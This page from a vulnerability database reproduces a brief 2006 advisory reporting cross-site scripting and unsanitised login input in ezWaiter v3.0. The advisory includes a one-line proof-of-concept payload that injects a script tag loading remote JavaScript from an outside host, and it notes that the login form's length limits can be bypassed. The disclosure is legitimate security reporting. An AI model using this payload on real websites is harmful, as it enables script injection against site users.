Lucene search

ezWaiter30.txt

🗓️ 02 Jul 2006 00:00:00Reported by LunyType

packetstorm🔗 packetstormsecurity.com👁 19 Views

Vulnerabilities in ezWaiter v3.0 include XSS and unsanitized data in login module.

5 of 5AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

`ezWaiter v3.0  
  
Homepage:  
http://www.ezwaiter.com/  
  
Affected files:  
  
Placing an order  
login.php  
-------------------------------------------  
  
XSS vuln when placing an order:  
  
User input is not sanatized before being generated. For a PoC in the two boxes labeled  
"Who is this item for?" and "Special Instructions:"  
  
put:  
  
<SCRIPT SRC=http://youfucktard.com/xss.js></SCRIPT>  
  
The login form found on login.php can be spoofed to remove the max char limits. It too doesn't sanatize data.  
  
---------------------------------------  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo

02 Jul 2006 00:00Current

7.4High risk

Vulners AI Score7.4